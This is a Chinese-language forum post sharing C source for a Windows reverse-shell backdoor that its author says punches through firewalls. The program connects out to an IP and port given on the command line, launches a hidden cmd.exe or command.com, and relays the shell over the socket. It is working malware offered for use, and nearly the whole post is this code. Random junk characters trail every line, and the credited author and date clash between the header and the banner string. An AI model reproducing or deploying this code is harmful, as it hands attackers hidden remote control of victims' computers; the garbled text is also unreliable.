这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?|39u{
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/* ============================== q5#J~n8Wr
Rebound port in Windows NT y>aZXa
By wind,2006/7 .<Zy|1
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===============================*/ c.j$9=XLBG
#include ,JEFGI{
#include D)d~3`=#
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#pragma comment(lib,"wsock32.lib") ;W^o@*i{>
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void OutputShell(); u5Ftu?t
SOCKET sClient; V?=8".GiX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9F*+YG!
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void main(int argc,char **argv) `3hSLR
{ |0%+wB
WSADATA stWsaData; X3V'Cy/sy
int nRet; fF V!)Zj
SOCKADDR_IN stSaiClient,stSaiServer; OdB?_.+$
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if(argc != 3) ?'<nx{!c
{ G 8V,
printf("Useage:\n\rRebound DestIP DestPort\n"); Bn(W"=1
return; H V;D?^F
} GPGm]G t
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WSAStartup(MAKEWORD(2,2),&stWsaData); YE9,KVV;$n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6#Q K%[1!>
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stSaiClient.sin_family = AF_INET; 7K5P8N
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stSaiClient.sin_port = htons(0); P`e!Z:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6CMub0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k+DR]icv
{ 'FS?a
printf("Bind Socket Failed!\n"); gR}35:$Z-
return; 1)[]x9]^q'
} G3{=@Z1
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stSaiServer.sin_family = AF_INET; =%>oR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NwZ@#D#[ Y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); aM$W*-Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ &[;HYgp
printf("Connect Error!"); %Pqf{*d8
return; |USX[jm\
} D7S'*;F
OutputShell(); `8Lo {P
} Z%n(O(^L
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void OutputShell() FTeu~<KpM
{ $O*O/iG
char szBuff[1024]; xQp|;oW;z
SECURITY_ATTRIBUTES stSecurityAttributes; T
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OSVERSIONINFO stOsversionInfo; ._+J_ts
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -G|G_$9
STARTUPINFO stStartupInfo; /0eYMG+K=
char *szShell; rQaxr!
PROCESS_INFORMATION stProcessInformation; W[}s o6
unsigned long lBytesRead; &CG*)bE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e@ \p0(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZPD[5)~
stSecurityAttributes.lpSecurityDescriptor = 0; Cj?L@%"
stSecurityAttributes.bInheritHandle = TRUE; RJ$7XCY%`*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'gt-s547
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &c*^VL\
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qVs\Y3u(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w$u3W*EoU^
stStartupInfo.wShowWindow = SW_HIDE; B.L]Rk\4
stStartupInfo.hStdInput = hReadPipe; b? j< BvQ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U2%.S&wS,e
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GetVersionEx(&stOsversionInfo); g=e71DXG2
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switch(stOsversionInfo.dwPlatformId) tu5*Qp\
{ H~E(JLcU
case 1: 1Zi,b
szShell = "command.com"; r]0
lo-
break; 5A4&+rdU
default: 0p@k({] <
szShell = "cmd.exe"; s|NjT
break; ?PyG/W
} eBJUv]o %
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /AQMFx4-5
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send(sClient,szMsg,77,0); =2
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while(1) V$uk6#
{ W
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %.z,+Zz?
if(lBytesRead) A?@@*$&
{ WsDM{1c
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1NcCy!+
send(sClient,szBuff,lBytesRead,0); xrN
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} # (- Qx
else %~QO8q_7
{ LbII?N8`N
lBytesRead=recv(sClient,szBuff,1024,0); T t>8?
if(lBytesRead<=0) break; +z$pg
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O%ug@& S{
} W\L`5CW
} M5trNSL&u
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return; ^7.h%lSg
}